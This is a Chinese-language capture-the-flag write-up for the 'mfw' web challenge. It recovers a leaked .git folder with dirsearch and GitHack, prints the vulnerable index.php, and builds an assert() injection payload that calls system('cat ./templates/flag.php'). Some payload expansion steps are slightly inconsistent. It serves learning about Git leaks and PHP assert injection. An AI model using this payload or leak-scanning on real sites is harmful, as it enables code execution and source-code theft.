mfw
打开环境后,先浏览每个页面
在about这个页面发现了信息,作者自己用了一个星期来做这个网站Git、PHP、Bootstrap
那就说明可能存在着Git泄露,使用dirsearch扫描一下
dirsearch -u http://61.147.171.105:49668/?page=about
发现了Git泄露,我们使用GitHack还原它
python2 GitHack.py http://61.147.171.105:49668/.git
我们一步一步的查找文件
在flag.php里没有发现信息,退回去在index.php里发现了关键信息
<?php
// 检查是否设置了 'page' GET 参数,如果设置了,则将其赋值给 $page 变量,否则默认赋值为 'home'
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
// 根据 $page 构建模板文件路径
$file = "templates/" . $page . ".php";
// 使用 assert 确保文件路径中不包含 '..',以防止目录遍历攻击
// 如果包含 '..',则输出 "Detected hacking attempt!" 并终止脚本
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// 使用 assert 确保文件存在
// 如果文件不存在,则输出 "That file doesn't exist!" 并终止脚本
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<!-- 引入 Bootstrap CSS -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<!-- 导航栏 -->
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Project name</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<!-- 根据当前页面设置导航栏的激活状态 -->
<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--
<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li>
-->
</ul>
</div>
</div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
// 引入模板文件
require_once $file;
?>
</div>
<!-- 引入 jQuery 和 Bootstrap JS -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</body>
</html>
$file变量会接收传入的$page并且在其前面拼接templates/,在其后面拼接.php(PHP中用.来实现字符串的拼接)
比如我们传入?page=flag,那么$file就成了templates/flag.php
strpos()函数查找..,如果没有找到则返回false,如果找到,则显示第一个数的位置并返回True,此时与右边的false并不恒等,此时就会执行or右边的die()函数,输出 Detected hacking attempt! 目的为了防止目录遍历
file_exists()函数来检查我们传入的page拼接后是否存在
assert()函数会将括号中的字符当成代码来执行,并返回true或false
我们可以发现file_exists()函数和strpos()函数对我们做题的影响不是很大,我们需要利用assert()函数执行cat ./template/flag.php获得flag,要达到这个目的我们就要破坏原来的assert的结构才能得到我们的flag
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")
assert("file_exists('$file')")
结合后:
assert("strpos('templates/$page.php', '..') === false") or die("Detected hacking attempt!");
原理:使用')
符号将strpos函数闭合,然后拼接上我们想要执行的代码,再用注释符//
将后面的内容全部注释
我们首先构造
?page=') or system('cat ./templates/flag.php');//
然后一层一层的进入
$file = "templates/" . $page . ".php";
$file = templates/') or system('cat ./templates/flag.php');
assert("strpos('$file', '..') === false")
assert("strpos('/template/') or system('cat ./templates/flag.php');//.php, '..') === false')
运行函数:
strpos(''/template/') or system('cat ./templates/flag.php');
我们可以发现strpos函数被闭合了,判断没有..后返回false报错,因此就会运行我们构造的语句中or后面的语句
查看源代码得到flag
知识点:
PHP中用.来实现字符串的拼接
Git
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
GIT泄露
我们知道,Git是一个可以实现有效控制应用版本的系统,但是一旦在代码发布的时候,存在不规范的操作及配置,就很可能将源代码泄露出去。那么,一旦攻击者或者黑客发现这个问题之后,就可能利用其获取网站的源码、数据库等重要资源信息,进而造成严重的危害。例如:攻击者利用该漏洞下载.git文件夹中的所有内容。如果文件夹中存在敏感信息(数据库账号密码、源码等),通过白盒的审计等方式就可能直接获得控制服务器的权限和机会!
造成GIT泄露的原因:
1、.gitignore文件不完整 2、敏感信息提交到公开仓库
3、Git历史中的敏感信息 4、Git配置不当
5、内部API令牌泄露 6、使用.gitkeep占位
7、权限设置不当
判断GIT泄露漏洞:
1、查看环境或者站点是否提示了GIT,如果提示了,那么很可能存在着GIT泄露
2、使用dirsearch等这类扫描工具扫描,如果扫到了.git文件,那么很可能存在git泄露
3、我们可以直接访问网页/.git目录,如果成功访问,那就说明存在着GIT泄露
asssert()函数
PHP中该函数用于’断言’,简单来说就是用于判断表达式或者是调试程序,当判断的内容是字符串的时候,该函数会将字符串作为PHP代码执行,因此存在任意代码执行的漏洞,类似于eval()函数
strpos()函数
strpos() 函数返回字符串在另一个字符串中第一次出现的位置。如果没有找到该字符串,则返回 false。
注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。
file_exists()函数
是检查文件或目录是否存在。
笔记
在做题和网上找WP的时候,发现了几点我还没有理解的点,在重新复现的时候开始慢慢理解了一下
1、//
在assert("strpos('templates/') or system('cat templates/flag.php');//.php', '..') === false")中,本身//在" "的包裹下会被当作普通字符串来处理,而assert函数又会将字符串当作php代码来解析执行,所以解析到//这部分时将//解析为注释符,所以后面这一部分.php', '..') === false都被当初注释处理了,//的注释作用只作用到.php', '..') === false这一部分为止,不包括后面assert函数的闭合部分“)
2、
在大佬们的WP中
我不是很能够理解为什么在template前面会出现双引号,然后自己去手注了一遍,又去看了其他大佬们的WP,发现这篇WP和我自己理解的一样,但是我还是没有理解第一篇WP中的那个双引号是什么意思